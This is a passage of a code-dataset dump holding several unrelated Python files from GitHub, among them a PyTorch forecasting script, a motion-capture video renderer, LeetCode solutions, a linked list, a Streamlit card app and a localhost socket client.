sklearn.metrics import mean_squared_error\nimport torch\nfrom torch.utils.data import Dataset\nimport torch.optim as optim\nfrom torch.utils.data import DataLoader\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torchvision\nimport torchvision.transforms as transforms\nimport csv\nfrom sklearn.utils import shuffle\n\ndef read_file(path):\n df = pd.read_csv(path, sep=',', header=0, encoding='unicode_escape')\n return df\n\ndef mean_std(df):\n df=(df-df.mean()).div(df.std())\n return df\n\n## normalize train\ndef normalize(csvfile0,csvfile1,outname,flag=0):\n train_df = read_file(csvfile0)\n train_t_df=read_file(csvfile1)\n t_values=train_t_df.loc[:,'value_t-1':'value_t-7']\n train_df['label'] = train_df['country'].rank(method='dense', ascending=True).astype(int)\n country_label=train_df['label']\n if(flag==0):\n label = train_df[['next_week_hospitalizations']]\n feat = train_df.drop(['country','next_week_hospitalizations', 'date', 'year_week'], axis=1)\n else:\n feat = train_df.drop(['country', 'date', 'year_week'], axis=1)\n\n feat = pd.concat([feat, t_values], axis=1)\n dfs=[]\n for i in range(0,15):\n df=mean_std(feat[feat['label']==(i+1)])\n dfs.append(df)\n for i in range(1,15):\n dfs[0]=pd.concat([dfs[0],dfs[i]])\n feat=dfs[0]\n feat = feat.drop(['label'], axis=1)\n\n feat=pd.concat([feat,country_label],axis=1)\n if(flag==0):\n feat=pd.concat([feat,label],axis=1)\n feat.to_csv(outname,index=False)\n\nnormalize(\"train_creative.csv\",\"train_creative_t_values.csv\",\"train.csv\")\nnormalize(\"test_creative_no_label.csv\",\"test_creative_t_values.csv\",\"test.csv\",1)\n\ndef split(train_df):\n labels= train_df[['next_week_hospitalizations']]\n country_labels=train_df[['label']]\n feat= train_df.drop(['next_week_hospitalizations','label'],axis=1)\n x_train, x_test, y_train, y_test,z_train,z_test = train_test_split(feat, labels,country_labels, test_size=0.1, random_state=42)\n x_train=np.array(x_train)\n x_test=np.array(x_test)\n y_train=np.array(y_train)\n y_test=np.array(y_test)\n z_train=np.array(z_train)\n z_test=np.array(z_test)\n return x_train,x_test,y_train,y_test,z_train,z_test\n\ndef non_split(train_df):\n labels= train_df[['next_week_hospitalizations']]\n country_labels=train_df[['label']]\n feat= train_df.drop(['next_week_hospitalizations','label'],axis=1)\n x=np.array(feat)\n y=np.array(labels)\n z=np.array(country_labels)\n return x,y,z\n\nclass CSVDataset(Dataset):\n def __init__(self, train_df,label_df,country_labels,flag=0):\n # Where the initial logic happens like reading a csv, doing data augmentation, etc.\n self.length=len(train_df)\n if(flag==0):\n self.country_labels=shuffle(country_labels,random_state=42)\n self.labels = shuffle(label_df,random_state=42)\n self.feat = shuffle(train_df,random_state=42)\n else:\n self.country_labels=country_labels\n self.labels = label_df\n self.feat = train_df\n\n def __len__(self):\n # Returns count of samples (an integer) you have.\n return self.length\n\n def __getitem__(self, idx):\n # Given an index, returns the correponding datapoint.\n # This function is called from dataloader like this:\n # img, label = CSVDataset.__getitem__(99) # For 99th item\n return self.feat[idx],self.labels[idx],self.country_labels[idx]\n\nclass Feedforward(torch.nn.Module):\n def __init__(self):\n super(Feedforward, self).__init__()\n self.fc1 = torch.nn.Linear(14, 7)\n #self.fc2 = torch.nn.Linear(14, 7)\n self.fc3 = torch.nn.Linear(7, 1)\n self.relu = torch.nn.ReLU()\n self.sig=nn.Sigmoid()\n\n def forward(self, x):\n h1 = self.relu(self.fc1(x))\n #h2 = self.relu(self.fc2(h1))\n output=self.fc3(h1)\n return output\n\n\ndef train(csvfile,csvfile1,flag=0):\n train_df=read_file(csvfile)\n test_df=read_file(csvfile1)\n nets = []\n criterions = []\n optimizers = []\n for i in range(0, 15):\n # Initialize an object of the model class\n net = Feedforward()\n nets.append(net)\n # Define your loss function\n criterion = nn.MSELoss()\n criterions.append(criterion)\n # Create your optimizer\n optimizer = optim.SGD(net.parameters(), momentum=0.9, weight_decay=0.15, lr=1 * 10 ** -7)\n optimizers.append(optimizer)\n if(flag==0):\n x_train, x_test, y_train, y_test,z_train,z_test = split(train_df)\n # Initialize an object of the dataset class\n dataset = CSVDataset(x_train,y_train,z_train)\n dataset2 = CSVDataset(x_test,y_test,z_test)\n # Wrap a dataloader around the dataset object.\n dataloader = DataLoader(dataset)\n dataloader2 = DataLoader(dataset2)\n # Beging training!\n for epoch in range(20):\n running_loss = 0.0\n for i, (input, target,country_label) in enumerate(dataloader):\n # You always want to use zero_grad(), backward(), and step() in the following order.\n # zero_grad clears old gradients from the last step (otherwise you’d just accumulate the gradients from all loss.backward() calls).\n optimizers[country_label-1].zero_grad()\n # As said before, you can only code as below if your network belongs to the nn.Module class.\n output = nets[country_label-1](torch.tensor(input,dtype=torch.float))\n loss = criterions[country_label-1](output, torch.tensor(target,dtype=(torch.float)))\n # loss.backward() computes the derivative of the loss w.r.t. the parameters (or anything requiring gradients) using backpropagation.\n loss.backward()\n # optimizer.step() causes the optimizer to take a step based on the gradients of the parameters.\n optimizers[country_label-1].step()\n running_loss += loss.item()\n if i % 1000 == 999: # print every 2000 mini-batches\n #print('[%d, %5d] training_loss: %.3f' % (epoch + 1, i + 1, running_loss / 1000))\n running_loss = 0.0\n print(\"end of epoch {}\".format(epoch+1))\n running_loss4 = 0.0\n for i, (input, target,country_label) in enumerate(dataloader2):\n output = nets[country_label-1](torch.tensor(input,dtype=torch.float))\n #print(output)\n loss = criterions[country_label-1](output, torch.tensor(target,dtype=(torch.float)))\n running_loss4 += loss.item()\n print('valid_loss: %.3f' % (running_loss4 / 400))\n else:\n x,y,z=non_split(train_df)\n dataset = CSVDataset(x, y, z)\n dataloader = DataLoader(dataset)\n for epoch in range(20):\n for i, (input, target,country_label) in enumerate(dataloader):\n # You always want to use zero_grad(), backward(), and step() in the following order.\n # zero_grad clears old gradients from the last step (otherwise you’d just accumulate the gradients from all loss.backward() calls).\n optimizers[country_label-1].zero_grad()\n # As said before, you can only code as below if your network belongs to the nn.Module class.\n output = nets[country_label-1](torch.tensor(input,dtype=torch.float))\n loss = criterions[country_label-1](output, torch.tensor(target,dtype=(torch.float)))\n # loss.backward() computes the derivative of the loss w.r.t. the parameters (or anything requiring gradients) using backpropagation.\n loss.backward()\n # optimizer.step() causes the optimizer to take a step based on the gradients of the parameters.\n optimizers[country_label-1].step()\n print(\"end of epoch {}\".format(epoch+1))\n pred=[]\n pred_z=np.array(test_df[['label']])\n pred_x=np.array(test_df.drop(['label'],axis=1))\n dataset2 = CSVDataset(pred_x, y, pred_z,1)\n dataloader2 = DataLoader(dataset2)\n\n for i, (input, target, country_label) in enumerate(dataloader2):\n output = nets[country_label - 1](torch.tensor(input, dtype=torch.float))\n pred.append(output.data.item())\n test_df = read_file(\"test_creative_no_label.csv\")\n # categorical_columns = ['country']\n combine_lambda = lambda x: '{} {}'.format(x.country, x.date)\n submit_df = pd.DataFrame({'country_id' : [], 'next_week_hospitalizations': []})\n submit_df['country_id'] = test_df.apply(combine_lambda, axis=1)\n submit_df['next_week_hospitalizations'] = pred\n submit_df.to_csv('out.csv',index=False)\n\n\ntrain(\"train.csv\",\"test.csv\",1)\n#y_pred = Feedforward(\"valiadation.csv\")\n#print(mean_squared_error(y_test, y_pred))","repo_name":"syhdd/cs_4780_final","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":9057,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"8979980351","text":"from multiprocessing import Process\r\nfrom time import sleep\r\nimport os\r\n\r\nm = 0\r\n\r\n\r\n # def task1():\r\n # while True:\r\n # sleep(2)\r\n # print(\"task___1\")\r\n # 使用参数\r\ndef task1(s):\r\n global m\r\n while True:\r\n m+=1\r\n sleep(s)\r\n print(\"____task1 #############\"+str(m))\r\n # print(os.getppid()) # 打印当前进程号\r\n\r\n\r\n\r\ndef task2():\r\n global m\r\n while True:\r\n m += 1\r\n sleep(1)\r\n print(\"task____2 #############\"+str(m))\r\n # print(os.getppid())\r\n\r\nnum = 0\r\nif __name__ == \"__main__\":\r\n # 第一个子进程\r\n # p = Process(target=task1, name=\"任务1\")\r\n\r\n p = Process(target=task1,name=\"任务1\",args=(0.5,))\r\n # args 代表传递的参数,为可迭代对象,需要添加括号, 也可以传递多个,使用多个变量接收\r\n p.start()\r\n # 主进程\r\n print(p.name + \"__\")\r\n # print(os.getppid())\r\n\r\n # 第二个子进程\r\n p1 = Process(target=task2, name=\"任务2\")\r\n p1.start()\r\n # 主进程\r\n print(p1.name)\r\n\r\n # 停止\r\n # while True:\r\n # num += 1\r\n # sleep(0.3)\r\n # if num == 50:\r\n # p.terminate()\r\n # p1.terminate()\r\n # break\r\n # else:\r\n # print(\"-----------------------------\" + str(num))\r\n while True:\r\n sleep(1)\r\n m += 1\r\n print(\"==================================\" + str(m))\r\n \r\n\r\n\r\n print(\"@@@@@@@@@@@@\")","repo_name":"149517/python_study","sub_path":"P--进程/j_01.py","file_name":"j_01.py","file_ext":"py","file_size_in_byte":1559,"program_lang":"python","lang":"zh","doc_type":"code","stars":1,"dataset":"github-code","pt":"7"} +{"seq_id":"26566834507","text":"def make_video(filename_in,filename_out,elevation_angle=0,\r\n azimuth_angle=0,framerange=None,fps=30,edgetype='edge',\r\n axislims=None):\r\n ''' Uses pre-processed VICON data to\r\n generate a video of the motion at\r\n a specified viewing angle\r\n\r\n Parameters\r\n ----------\r\n filename_in: str,\r\n Path and name of the preprocessed CSV from the VICON\r\n acquisition (see vicon.preprocess function)\r\n filename_out: str,\r\n Path and name of the MP4 video file to be created\r\n elevation_angle: float, optional\r\n Elevation (height) viewing angle, in degrees. (default=0)\r\n azimuth_angle: float, optional\r\n Azimuth (sideways) viewing angle, in degrees. (default=0)\r\n framerange: int, list (2 elements), tuple (2 elements), optional\r\n Range of frames from the input file to be used to\r\n generate the video\r\n fps: int, optional\r\n Frames per second of the generated video. (default=30)\r\n edgetype: 'edge', None\r\n Specifies if edges between the PLD dots are to be\r\n included or not. (default='edge')\r\n axislims: list (3 elements), tuple (3 elements), None, optional\r\n Defines the axis limits, in x,y,z coordinates. The\r\n generated plot will range from -x to x, -y to y and\r\n -z to z. If None, it will obtain the limits from the\r\n data (default).\r\n \r\n Returns\r\n -------\r\n (none) (output video is saved in the specified filename_out)\r\n\r\n See Also\r\n --------\r\n preprocess: reads a CSV file from VICON Motion Capture and\r\n creates a new CSV file only with the trajectories,\r\n changing to another reference frame, if convenient\r\n scrambled_video: uses pre-processed VICON data to produce\r\n video of scrambled points (non-biological motion)\r\n central_dot: generate video of a central dot (resting interval)\r\n\r\n Example\r\n -------\r\n vicon.make_video('C:\\\\Users\\\\MyUser\\\\Documents\\\\Vicon\\\\pre_processed.csv',\r\n 'C:\\\\Users\\\\MyUser\\\\Documents\\\\Vicon\\\\video.mp4',framerange=[500,2500])\r\n '''\r\n import numpy as np\r\n import pandas as pd\r\n import matplotlib\r\n matplotlib.use('TkAgg') # Needed to run on mac\r\n from matplotlib import pyplot as plt\r\n from mpl_toolkits.mplot3d import Axes3D\r\n from matplotlib.colors import cnames\r\n from matplotlib import animation\r\n\r\n\r\n #definition of links between point-light displays, forming arms, legs, head etc\r\n if edgetype==None:\r\n links=[]\r\n else:\r\n links=((0,1),(0,2),(0,4),(1,2),(1,3),(4,5),(4,10),(5,6),(5,18),(5,20),(6,7),(6,14),(7,8),(8,9),(10,11),(10,14),(11,12),(12,13),(14,15),(15,16),(16,17),(18,19),(19,5))\r\n\r\n #function to check if a pair is linked or not\r\n def islinked(n1,n2):\r\n for _ in range(len(links)):\r\n if (n1,n2)==(links[i][0],links[i][1]):\r\n return True\r\n return False\r\n\r\n #read data\r\n if type(framerange)==int:\r\n data = pd.read_csv(filename_in, nrows=framerange)\r\n if type(framerange)==list or type(framerange)==tuple:\r\n columnnames=pd.read_csv(filename_in, nrows=1)\r\n data = pd.read_csv(filename_in, skiprows=framerange[0], nrows=framerange[1]-framerange[0], header=None)\r\n data.columns=columnnames.columns\r\n else:\r\n data = pd.read_csv(filename_in)\r\n data.replace([np.inf, -np.inf], np.nan).dropna()\r\n xdata=data.filter(['X','X.1','X.2','X.3','X.4','X.5','X.6','X.7','X.8','X.9','X.10','X.11','X.12','X.13','X.14','X.15','X.16','X.17','X.18','X.19'],axis=1)\r\n ydata=data.filter(['Y','Y.1','Y.2','Y.3','Y.4','Y.5','Y.6','Y.7','Y.8','Y.9','Y.10','Y.11','Y.12','Y.13','Y.14','Y.15','Y.16','Y.17','Y.18','Y.19'],axis=1)\r\n zdata=data.filter(['Z','Z.1','Z.2','Z.3','Z.4','Z.5','Z.6','Z.7','Z.8','Z.9','Z.10','Z.11','Z.12','Z.13','Z.14','Z.15','Z.16','Z.17','Z.18','Z.19'],axis=1)\r\n \r\n numframes=len(data.index)\r\n\r\n #centering\r\n xdata=xdata-xdata.mean().mean()\r\n ydata=ydata-ydata.mean().mean()\r\n zdata=zdata-zdata.mean().mean()\r\n\r\n #calculate the axis limits\r\n if type(axislims)==tuple or type(axislims)==list:\r\n xmax,xmin=axislims[0],-axislims[0]\r\n ymax,ymin=axislims[1],-axislims[1]\r\n zmax,zmin=axislims[2],-axislims[2]\r\n else:\r\n a=max(np.absolute(xdata.min().min()),np.absolute(xdata.max().max()))\r\n xmin,xmax=-(a+100),a+100\r\n b=max(np.absolute(ydata.min().min()),np.absolute(ydata.max().max()))\r\n ymin,ymax=-(b+100),b+100\r\n c=max(np.absolute(zdata.min().min()),np.absolute(zdata.max().max()))\r\n zmin,zmax=-c,c\r\n\r\n #generate figure\r\n fig = plt.figure()\r\n plt.style.use('dark_background')\r\n fig.subplots_adjust(left=0, bottom=0, right=1, top=1, wspace=None, hspace=None)\r\n fig.set_size_inches(13.66, 7.68, forward=True)\r\n ax = plt.axes(projection='3d')\r\n\r\n def animate(i):\r\n xline=xdata.loc[i]\r\n yline=ydata.loc[i]\r\n zline=zdata.loc[i]\r\n #plot the points\r\n ax.clear()\r\n ax.scatter3D(xline, yline,zline, c='w', alpha=0.7)\r\n #plot the sticks\r\n for name1 in range(20):\r\n for name2 in range(20):\r\n if islinked(name1,name2):\r\n x=(xdata.iloc[i,name1],xdata.iloc[i,name2])\r\n y=(ydata.iloc[i,name1],ydata.iloc[i,name2])\r\n z=(zdata.iloc[i,name1],zdata.iloc[i,name2])\r\n ax.plot3D(x,y,z,'w-',alpha=0.5)\r\n ax.view_init(elevation_angle,azimuth_angle)\r\n \r\n #set axis limits, removeing grid, setting background etc\r\n ax.set_xlim(xmin,xmax)\r\n ax.set_ylim(ymin,ymax)\r\n ax.set_zlim(zmin,zmax)\r\n ax.patch.set_facecolor('black')\r\n fig.set_facecolor('black')\r\n plt.axis('off')\r\n plt.grid(b=None)\r\n\r\n #make animation\r\n ani = animation.FuncAnimation(fig, animate, frames=numframes)\r\n\r\n #setting up animation file\r\n Writer = animation.writers['ffmpeg']\r\n writer = animation.FFMpegWriter(fps=fps,metadata=dict(artist='NeuroMat'),bitrate=1800,extra_args=['-vcodec','libx264'])\r\n\r\n #save animation and close figure\r\n ani.save(filename_out, writer=writer)\r\n plt.close()\r\n","repo_name":"artvalencio/vicon","sub_path":"vicon/make_video.py","file_name":"make_video.py","file_ext":"py","file_size_in_byte":6229,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"7"} +{"seq_id":"71664665822","text":"import numpy as np\nimport math\nimport matplotlib.pyplot as plt\nimport pandas as pd\nimport pickle\nfrom Simulator import SIMNRASimulator\n\n\ndef getChi2Metric (chi2) : \n train_metric = []\n for i in range(1) : \n mean = np.mean(chi2)\n median = np.median(chi2)\n std = np.std(chi2) \n per75 = np.percentile(chi2, 75)\n per90 = np.percentile(chi2, 90)\n per95 = np.percentile(chi2, 95)\n metric = [median, per75, per90, per95, mean, std]\n train_metric.append(metric) \n return pd.DataFrame(train_metric, columns=[\"Median\", \"Per75\", \"Perc90\", \"Perc95\", \"Mean\", \"Std\"], index=[\"Chi2\"])\n\n\nclass ForwardModel : \n def __init__(self, model, transformerX, transformerY) : \n self.model = model \n self.transformerX = transformerX \n self.transformerY = transformerY\n self.isFitted = False\n \n def loadModel(self, filename) : \n self.model = pickle.load(open(filename, 'rb')) \n print(\"Model loaded successfully\")\n \n def dumpModel(self, filename) : \n try : \n pickle.dump(self.model, open(filename, 'wb'))\n except : \n print(\"Problem dumping the model\")\n\n def fit(self, xdata, ydata) : \n print(\"Tranforming the data ... \") \n xdata_tr= self.transformerX.fit_transform(xdata)\n ydata_tr= self.transformerY.fit_transform(ydata)\n\n print(\"Training ML Model ...\", end=\"\")\n self.model.fit(xdata_tr, ydata_tr)\n print(\"done.\")\n self.isFitted = True\n\n predTrain = np.array(self.predict(xdata))\n chi2 = np.mean((predTrain-ydata)**2/(np.array(ydata)+1.0), axis=1)/predTrain.shape[1]\n print(\"Chi2 array length : \", len(chi2))\n print(\"Chi2 profile for the training data : \")\n display(getChi2Metric(chi2))\n\n def predict(self, xdata) :\n if not self.isFitted : \n raise Exception(\"Fit the model first!\")\n xtr = self.transformerX.transform(xdata) \n return self.transformerY.inverse_transform(self.model.predict(xtr))\n \n def evaluate(self, xtest, ytest, ROIs, setting, comp = True, Nthread =8) : \n print(\"Calculating model predictions ...\", end=\"\")\n predTest = np.array(self.predict(xtest))\n print(\"done.\")\n\n chi2 = np.mean((predTest-ytest)**2/(np.array(ytest)+1.0), axis=1)/predTest.shape[1]\n print(\"Chi2 array length : \", len(chi2))\n print(\"Chi2 profile for the test data : \")\n display(getChi2Metric(chi2))\n return\n\n dist = np.sum((self.tfY.transform(predTest)-self.tfY.transform(ytest))**2, axis=1)/4.0\n print(\"MSE profile for the test data : \")\n display( pd.DataFrame( \n [[np.median(dist), np.percentile(dist, 75), np.percentile(dist, 90), \n np.percentile(dist, 95), np.mean(dist), np.std(dist)]], \n columns=[\"Median\", \"perc75\", \"perc90\", \"perc95\", \"mean\", \"std\"]\n ))\n\n chi2List = []\n if comp : \n mapTest = {} #dictionary [concentration, spectrum] for the test data\n for pr, x in zip (predTest, xtest) : \n mapTest[tuple(pr)] = x\n\n print(\"Calculating reconstruction error...\")\n simu = SIMNRASimulator(setting)\n predSpectra = simu.run(predTest, Nthread)\n for par, spectrum in predSpectra.items() : \n spec = np.concatenate([spectrum[ roi[0]:roi[1]] for roi in ROIs]) \n specLab = mapTest[par]\n #print(len(specLab), len(spec), specLab[50:55], spec[50:55])\n err = np.sqrt(np.abs(specLab) )\n for i, e in enumerate(err) : \n if e <1.0 : \n err[i] = 1.0\n chi2List.append(np.sum( ((specLab-spec)/err)**2 )/len(err) ) \n #chi2List.append(np.sum( ((specLab-spec)/1.0)**2 )/len(err) ) \n print(\"Chi2 profile : \")\n display( pd.DataFrame( \n [[np.median(chi2List), np.percentile(chi2List, 75), np.percentile(chi2List, 90), \n np.percentile(chi2List, 95), np.mean(chi2List), np.std(chi2List)]], \n columns=[\"Median\", \"perc75\", \"perc90\", \"perc95\", \"mean\", \"std\"]\n ))\n print(\"Histogram of Chi2 :\")\n df = pd.DataFrame(chi2List, columns= [\"Chi2\"])\n df.hist(bins=50, figsize=[6,4])\n\n","repo_name":"khoirulmuzakka/ML-IBA","sub_path":"Sources/ForwardMLModel.py","file_name":"ForwardMLModel.py","file_ext":"py","file_size_in_byte":4387,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"72900867742","text":"\"\"\"\nhttps://leetcode.com/problems/evaluate-the-bracket-pairs-of-a-string/\n\"\"\"\n\n\nclass Solution:\n def evaluate(self, s: str, knowledge: list[list[str]]) -> str:\n words = {k: v for k, v in knowledge}\n rslt = []\n start = 0\n end, n = 0, len(s)\n\n while end < n:\n if s[end] == '(':\n start = end\n while end < n and s[end] != ')':\n end += 1\n\n key = s[start + 1: end]\n v = words.get(key, '?')\n else:\n v = s[end]\n\n rslt.append(v)\n end += 1\n\n return ''.join(rslt)\n","repo_name":"eronekogin/leetcode","sub_path":"2023/evaluate_the_bracket_pairs_of_a_string.py","file_name":"evaluate_the_bracket_pairs_of_a_string.py","file_ext":"py","file_size_in_byte":636,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"8672080406","text":"\"\"\"\n@Author: 邓润庭\n@Date: 2021/3/19\n\"\"\"\n\nfrom typing import List\n\n\ndef min_coin_num(coins: List, amount: int):\n def dp(n):\n # 边界条件\n if n == 0: # 金额为0,不需要硬币了\n return 0\n if n < 0: # 金额为负了,当前递归子节点无解\n return -1\n ret = float(\"inf\")\n for coin in coins:\n sub_problem = dp(n - coin)\n if sub_problem == -1:\n continue\n ret = min(ret, sub_problem + 1)\n return ret if ret != float(\"inf\") else -1\n\n return dp(amount)\n\n\nprint(min_coin_num([1, 8], 11))\n","repo_name":"fadeawaylove/interview_mkdocs","sub_path":"code/algorithm/dp/05_coins01.py","file_name":"05_coins01.py","file_ext":"py","file_size_in_byte":622,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"27385896465","text":"\nclass Node:\n def __init__(self, value: int):\n self.value = value\n self.next = None\n self.prev = None\n\n\nclass LinkedList:\n def __init__(self):\n self.head = None\n self.tail = None\n\n def is_empty(self):\n return self.head is None\n\n def find(self, value: int):\n if self.is_empty():\n return None\n else:\n current = self.head\n while current is not None:\n if current.value == value:\n return current\n current = current.next\n return None\n\n def add_end(self, value: int):\n new_node = Node(value)\n if self.is_empty():\n self.head = new_node\n self.tail = new_node\n else:\n self.tail.next = new_node\n new_node.prev = self.tail\n self.tail = new_node\n\n def add_start(self, value: int):\n new_node = Node(value)\n if self.is_empty():\n self.head = new_node\n self.tail = new_node\n else:\n new_node.next = self.head\n self.head.prev = new_node\n self.head = new_node\n\n def delete(self, value: int):\n if self.is_empty():\n return None\n current_node = self.head\n if current_node.value == value:\n self.head = current_node.next\n if self.head is not None:\n self.head.prev = None\n else:\n while current_node is not None:\n if current_node.value == value:\n if current_node.next is not None:\n current_node.next.prev = current_node.prev\n current_node.prev.next = current_node.next\n current_node = current_node.next\n\n def insert_after(self, value: int, node: Node):\n next_node = node.next\n new_node = Node\n new_node.value = value\n node.next = new_node\n new_node.prev = node\n if next_node is None:\n self.tail = new_node\n else:\n next_node.prev = new_node\n new_node.next = next_node\n\n def __str__(self):\n nodes = []\n current = self.head\n while current:\n nodes.append(str(current.value))\n current = current.next\n return ', '.join(nodes)\n\n\nmy_list = LinkedList()\nmy_list.add_end(10)\nmy_list.add_end(20)\nmy_list.add_end(30)\nmy_list.add_end(40)\nmy_list.add_end(50)\nmy_list.add_start(5)\nmy_list.add_start(12)\nmy_list.delete(5)\nprint(my_list)\nprint(my_list.find(20))","repo_name":"Cotang01/Algorithms_and_Data_Structures","sub_path":"LinkedList/linked_list.py","file_name":"linked_list.py","file_ext":"py","file_size_in_byte":2555,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"74427625184","text":"from nltk.corpus import words\nimport re\nwords = words.words()\ns = 'Ilikesandwich'\nall = []\n\ndef foo(str, cur):\n # print(cur)\n n = len(str)\n if n == 0:\n all.append(cur)\n for i in range(1, n+1):\n if str[:i] in words:\n foo(str[i:], cur + [str[:i]])\n\nmax_len = max([len(w) for w in words])\nscores = [0]\nfor i in range(1, max_len+1):\n scores.append(len([w for w in words if len(w) == i]) / len(words))\n\ndef get_score(sentence):\n score = 0\n for w in sentence:\n score += scores[len(w)]\n\n return score\n\nfoo(s, [])\ntop5 = sorted(all, key=lambda sen: get_score(sen))[-5:]\n","repo_name":"lone17/latin_ocr","sub_path":"cinnamon_interview.py","file_name":"cinnamon_interview.py","file_ext":"py","file_size_in_byte":618,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"6315191087","text":"# Definition for singly-linked list.\n# class ListNode:\n# def __init__(self, val=0, next=None):\n# self.val = val\n# self.next = next\nclass Solution:\n def addTwoNumbers(self, l1: Optional[ListNode], l2: Optional[ListNode]) -> Optional[ListNode]:\n l1_node, l1_prev = l1, None\n l1_num = \"\"\n while l1_node:\n l1_next, l1_node.next = l1_node.next, l1_prev\n l1_node, l1_prev = l1_next, l1_node\n\n while l1_prev:\n l1_num += str(l1_prev.val)\n l1_prev = l1_prev.next\n\n l2_node, l2_prev = l2, None\n l2_num = \"\"\n while l2_node:\n l2_next, l2_node.next = l2_node.next, l2_prev\n l2_node, l2_prev = l2_next, l2_node\n\n while l2_prev:\n l2_num += str(l2_prev.val)\n l2_prev = l2_prev.next\n\n result = list(map(int, str(int(l2_num) + int(l1_num)))) # 807\n\n prev = None\n for val in result:\n node = ListNode(val)\n node.next = prev\n prev = node\n\n return node\n\n","repo_name":"recsys06-letstravel/algorithm-study","sub_path":"LeetCode/inhyeok/linked_list/2_add_two_sum.py","file_name":"2_add_two_sum.py","file_ext":"py","file_size_in_byte":1061,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"7"} +{"seq_id":"19464946679","text":"import streamlit as st\nimport pandas as pd\nimport random as rd\n\nst.set_page_config(page_icon=\"­ЪЊѕ\", page_title=\"play\")\ndef get_mycard():\n my_card = [None]*3\n i = 0\n hsk = [\"РЎЦ№ИЈ\",\"РЎа№ИЈ\",\"РЎд№ИЈ\",\"РЎБ№ИЈ\"]\n paik = [\"A\",\"2\",\"3\",\"4\",\"5\",\"6\",\"7\",\"8\",\"9\",\"10\",\"J\",\"Q\",\"K\"]\n while not my_card[2]:\n hs = rd.randint(0,3)\n pai = rd.randint(0,12)\n creat_card = hsk[hs]+paik[pai]\n if creat_card not in my_card:\n my_card[i]=creat_card\n i+=1\n return my_card\nif st.button(\"тЈЉуЅї№╝Ђ\"):\n my_card = get_mycard() \n with st.expander(\"уюІуюІТѕЉуџёуЅї\"):\n st.title(my_card[0])\n st.title(my_card[1])\n st.title(my_card[2])\n\n","repo_name":"ssssttttzzzz/streamlit_1","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":647,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"37160296753","text":"import socket\n\n# create a socket object\nsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n\n# connect to the remote peer\nhost = 'localhost'\nport = 8000\nsock.connect((host, port))\nprint(f\"Connected to {host}:{port}\")\n\n# send a message to the peer\nmessage = 'Hello, peer!'\nsock.sendall(message.encode())\n\n# receive a message from the peer\ndata = sock.recv(1024)\nprint('Received message:', data.decode())\n\n# close the socket\nsock.close()","repo_name":"MiniJeff/peer-to-peer","sub_path":"practice/tcp/p2.py","file_name":"p2.py","file_ext":"py","file_size_in_byte":440,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"8365982465","text":"from typing import List\nfrom models.deck import Deck\nfrom models.player import Player\nfrom views.playerview import PlayerView\n\nMAX_PLAYERS_ALLOWED = 5\n\n\nclass GameController:\n def __init__(self, view: PlayerView) -> None:\n self.players = []\n self.deck: Deck = Deck()\n self.deck.shuffle()\n self.view = view\n self._players_hands = {}\n\n def register_player(self, player_name):\n if self.number_of_players_exceeded():\n current_player = Player(name=player_name)\n self.players.append(current_player)\n else:\n self.view.message = \"Number of Players cannot exceed 5\"\n\n def number_of_players_exceeded(self):\n return len(self.players) < MAX_PLAYERS_ALLOWED\n\n def register_players(self, players_name: List[Player]):\n for player_name in players_name:\n self.register_player(player_name=player_name)\n\n def get_players_hands(self):\n for player in self.players:\n self._players_hands[player.id] = player.hand\n return self._players_hands\n\n def give_a_card(self) -> None:\n cards = self.deck.get_cards()\n for player in self.players:\n player.add_a_card_in_hand(card=cards.pop())\n self._players_hands[player.id] = player.hand\n\n def show_cards(self) -> None:\n for player in self.players:\n player.flip_hand()\n self.view.show_player_hand(player=player)\n\n def check_for_a_winner(self) -> Player:\n winner = self.players[0]\n for player in self.players[1:]:\n winner_card = winner.get_a_card_in_hand(index=0)\n player_card = player.get_a_card_in_hand(index=0)\n\n if winner_card.rank.weight == player_card.rank.weight:\n if winner_card.suit.weight < player_card.suit.weight:\n winner = player\n elif winner_card.rank.weight < player_card.rank.weight:\n winner = player\n return winner\n\n def run(self):\n self.register_players()\n self.give_a_card()\n self.show_cards()\n winner = self.check_for_a_winner()\n self._view.show_winner(player=winner)\n","repo_name":"TristanChaput/kata-mvc-card-game","sub_path":"controllers/game_controller.py","file_name":"game_controller.py","file_ext":"py","file_size_in_byte":2174,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"5614034604","text":"with open(\"sequence.fasta\", \"r\") as handle:\n seq_list = list()\n for line in handle:\n line = line.strip()\n if line == \"\":\n continue\n seq_list.append(line)\n\nseq = \"\\n\".join(seq_list)\n\nfw = open(\"sequence.protein.2.fasta\", \"w\")\nfw.write(seq)\nfw.close()\n","repo_name":"Cyntha-K/bioinfo-lecture-2021-07","sub_path":"0708/bioinformatics_3_4.py","file_name":"bioinformatics_3_4.py","file_ext":"py","file_size_in_byte":288,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"7"} +{"seq_id":"70829369824","text":"import time\n\nfrom Section4.future_functions import is_prime\n\nstart_time = time.time()\nprimes = (x for x in range(1000000,1200000) if is_prime(x))\n\nprint(\"Primes:\",primes)\nprint(f\"Took {time.time()-start_time:0.2f} seconds\")\n\nkept_primes = []\nfor prime in primes:\n if input(f\"keep {prime}?\").lower().startswith(\"y\"):\n kept_primes.append(prime)\n if len(kept_primes) >= 4:\n 